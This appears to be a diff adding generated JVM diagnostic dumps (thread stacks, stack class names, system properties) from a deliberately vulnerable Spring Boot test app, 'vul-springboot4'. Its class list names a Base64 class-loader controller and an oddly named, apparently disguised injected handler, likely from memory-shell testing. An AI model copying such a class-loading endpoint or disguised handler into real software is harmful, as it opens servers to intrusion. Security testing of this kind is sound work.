java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74)
|
||||
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:1583)
|
||||
|
||||
"http-nio-8080-exec-10" #46 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74)
|
||||
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:1583)
|
||||
|
||||
"http-nio-8080-exec-2" #38 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74)
|
||||
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:1583)
|
||||
|
||||
"http-nio-8080-Acceptor" #48 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/sun.nio.ch.Net.accept(Native Method)
|
||||
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:433)
|
||||
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:399)
|
||||
at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:626)
|
||||
at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:71)
|
||||
at org.apache.tomcat.util.net.Acceptor.run(Acceptor.java:145)
|
||||
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:1583)
|
||||
|
||||
"Catalina-utility-1" #34 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@fbfe421
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74)
|
||||
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:1583)
|
||||
|
||||
"http-nio-8080-exec-8" #44 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74)
|
||||
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:1583)
|
||||
|
||||
"http-nio-8080-exec-9" #45 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74)
|
||||
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:1583)
|
||||
|
||||
"container-0" #36 [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/java.lang.Thread.sleep0(Native Method)
|
||||
at [email protected]/java.lang.Thread.sleep(Thread.java:509)
|
||||
at org.apache.catalina.core.StandardServer.await(StandardServer.java:522)
|
||||
at org.springframework.boot.tomcat.TomcatWebServer$1.run(TomcatWebServer.java:216)
|
||||
|
||||
"Signal Dispatcher" #11 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Notification Thread" #18 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"http-nio-8080-exec-6" #42 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74)
|
||||
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:1583)
|
||||
|
||||
"Common-Cleaner" #19 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@241094ac
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1886)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:71)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:143)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:218)
|
||||
at [email protected]/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140)
|
||||
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:1583)
|
||||
at [email protected]/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:186)
|
||||
|
||||
"http-nio-8080-Poller" #47 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/sun.nio.ch.EPoll.wait(Native Method)
|
||||
at [email protected]/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121)
|
||||
at [email protected]/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130)
|
||||
at [email protected]/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142)
|
||||
at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:912)
|
||||
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:1583)
|
||||
|
||||
"http-nio-8080-exec-7" #43 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74)
|
||||
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:1583)
|
||||
|
||||
"Reference Handler" #9 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/java.lang.ref.Reference.waitForReferencePendingList(Native Method)
|
||||
at [email protected]/java.lang.ref.Reference.processPendingReferences(Reference.java:246)
|
||||
at [email protected]/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:208)
|
||||
|
||||
"Catalina-utility-2" #35 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@fbfe421
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74)
|
||||
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:1583)
|
||||
|
||||
"http-nio-8080-exec-3" #39 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74)
|
||||
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:1583)
|
||||
|
||||
|
||||
===========================================
|
||||
|
||||
StackClassNames:
|
||||
com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController
|
||||
jakarta.servlet.http.HttpServlet
|
||||
org.apache.catalina.authenticator.AuthenticatorBase
|
||||
org.apache.catalina.connector.CoyoteAdapter
|
||||
org.apache.catalina.core.ApplicationFilterChain
|
||||
org.apache.catalina.core.StandardContextValve
|
||||
org.apache.catalina.core.StandardEngineValve
|
||||
org.apache.catalina.core.StandardHostValve
|
||||
org.apache.catalina.core.StandardServer
|
||||
org.apache.catalina.core.StandardWrapperValve
|
||||
org.apache.catalina.valves.ErrorReportValve
|
||||
org.apache.commons.lang.jlEOs.ErrorPscoiHandler
|
||||
org.apache.coyote.AbstractProcessorLight
|
||||
org.apache.coyote.AbstractProtocol$ConnectionHandler
|
||||
org.apache.coyote.http11.Http11Processor
|
||||
org.apache.tomcat.util.net.Acceptor
|
||||
org.apache.tomcat.util.net.NioEndpoint
|
||||
org.apache.tomcat.util.net.NioEndpoint$Poller
|
||||
org.apache.tomcat.util.net.NioEndpoint$SocketProcessor
|
||||
org.apache.tomcat.util.net.SocketProcessorBase
|
||||
org.apache.tomcat.util.threads.TaskQueue
|
||||
org.apache.tomcat.util.threads.TaskThread$WrappingRunnable
|
||||
org.apache.tomcat.util.threads.ThreadPoolExecutor
|
||||
org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker
|
||||
org.apache.tomcat.websocket.server.WsFilter
|
||||
org.springframework.boot.tomcat.TomcatWebServer$1
|
||||
org.springframework.web.filter.CharacterEncodingFilter
|
||||
org.springframework.web.filter.FormContentFilter
|
||||
org.springframework.web.filter.OncePerRequestFilter
|
||||
org.springframework.web.filter.RequestContextFilter
|
||||
org.springframework.web.method.support.InvocableHandlerMethod
|
||||
org.springframework.web.servlet.DispatcherServlet
|
||||
org.springframework.web.servlet.FrameworkServlet
|
||||
org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter
|
||||
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter
|
||||
org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod
|
||||
+299
@@ -0,0 +1,299 @@
|
||||
# Generated At 2026-08-21 10:13:42
|
||||
SystemProps:
|
||||
java.specification.version: 21
|
||||
sun.jnu.encoding: UTF-8
|
||||
java.class.path: /app/app.jar
|
||||
java.vm.vendor: Eclipse Adoptium
|
||||
sun.arch.data.model: 64
|
||||
java.vendor.url: https://adoptium.net/
|
||||
user.timezone: Etc/UTC
|
||||
java.vm.specification.version: 21
|
||||
os.name: Linux
|
||||
APPLICATION_NAME: vul-springboot4
|
||||
sun.java.launcher: SUN_STANDARD
|
||||
user.country: US
|
||||
sun.boot.library.path: /opt/java/openjdk/lib
|
||||
sun.java.command: /app/app.jar
|
||||
jdk.debug: release
|
||||
sun.cpu.endian: little
|
||||
user.home: /root
|
||||
user.language: en
|
||||
java.specification.vendor: Oracle Corporation
|
||||
java.version.date: 2026-04-21
|
||||
java.home: /opt/java/openjdk
|
||||
file.separator: /
|
||||
java.vm.compressedOopsMode: Zero based
|
||||
line.separator:
|
||||
|
||||
java.vm.specification.vendor: Oracle Corporation
|
||||
java.specification.name: Java Platform API Specification
|
||||
FILE_LOG_CHARSET: UTF-8
|
||||
java.awt.headless: true
|
||||
java.protocol.handler.pkgs: org.springframework.boot.loader.net.protocol
|
||||
sun.management.compiler: HotSpot 64-Bit Tiered Compilers
|
||||
java.runtime.version: 21.0.11+10-LTS
|
||||
user.name: root
|
||||
stdout.encoding: UTF-8
|
||||
path.separator: :
|
||||
os.version: 7.0.14-orbstack-00380-ga7e0a2dc9535
|
||||
java.runtime.name: OpenJDK Runtime Environment
|
||||
file.encoding: UTF-8
|
||||
java.vm.name: OpenJDK 64-Bit Server VM
|
||||
java.vendor.version: Temurin-21.0.11+10
|
||||
java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues
|
||||
java.io.tmpdir: /tmp
|
||||
java.version: 21.0.11
|
||||
user.dir: /
|
||||
os.arch: aarch64
|
||||
java.vm.specification.name: Java Virtual Machine Specification
|
||||
PID: 1
|
||||
CONSOLE_LOG_CHARSET: UTF-8
|
||||
native.encoding: UTF-8
|
||||
java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib
|
||||
java.vm.info: mixed mode, sharing
|
||||
stderr.encoding: UTF-8
|
||||
java.vendor: Eclipse Adoptium
|
||||
java.vm.version: 21.0.11+10-LTS
|
||||
sun.io.unicode.encoding: UnicodeLittle
|
||||
java.class.version: 65.0
|
||||
LOGGED_APPLICATION_NAME: [vul-springboot4]
|
||||
|
||||
===========================================
|
||||
|
||||
ThreadStacks:
|
||||
"reactor-http-nio-2" #38 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/sun.nio.ch.EPoll.wait(Native Method)
|
||||
at [email protected]/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121)
|
||||
at [email protected]/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130)
|
||||
at [email protected]/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142)
|
||||
at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:62)
|
||||
at io.netty.channel.nio.NioIoHandler.select(NioIoHandler.java:668)
|
||||
at io.netty.channel.nio.NioIoHandler.run(NioIoHandler.java:434)
|
||||
at io.netty.channel.SingleThreadIoEventLoop.runIo(SingleThreadIoEventLoop.java:225)
|
||||
at io.netty.channel.SingleThreadIoEventLoop.run(SingleThreadIoEventLoop.java:196)
|
||||
at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204)
|
||||
at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74)
|
||||
at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30)
|
||||
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:1583)
|
||||
|
||||
"Common-Cleaner" #19 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3585ff
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1886)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:71)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:143)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:218)
|
||||
at [email protected]/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140)
|
||||
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:1583)
|
||||
at [email protected]/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:186)
|
||||
|
||||
"boundedElastic-evictor-1" #34 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74fc5fed
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642)
|
||||
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:1583)
|
||||
|
||||
"reactor-http-nio-1" #35 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/sun.nio.ch.EPoll.wait(Native Method)
|
||||
at [email protected]/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121)
|
||||
at [email protected]/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130)
|
||||
at [email protected]/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142)
|
||||
at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:62)
|
||||
at io.netty.channel.nio.NioIoHandler.select(NioIoHandler.java:668)
|
||||
at io.netty.channel.nio.NioIoHandler.run(NioIoHandler.java:434)
|
||||
at io.netty.channel.SingleThreadIoEventLoop.runIo(SingleThreadIoEventLoop.java:225)
|
||||
at io.netty.channel.SingleThreadIoEventLoop.run(SingleThreadIoEventLoop.java:196)
|
||||
at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204)
|
||||
at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74)
|
||||
at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30)
|
||||
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:1583)
|
||||
|
||||
"Notification Thread" #18 daemon [RUNNABLE]
|
||||
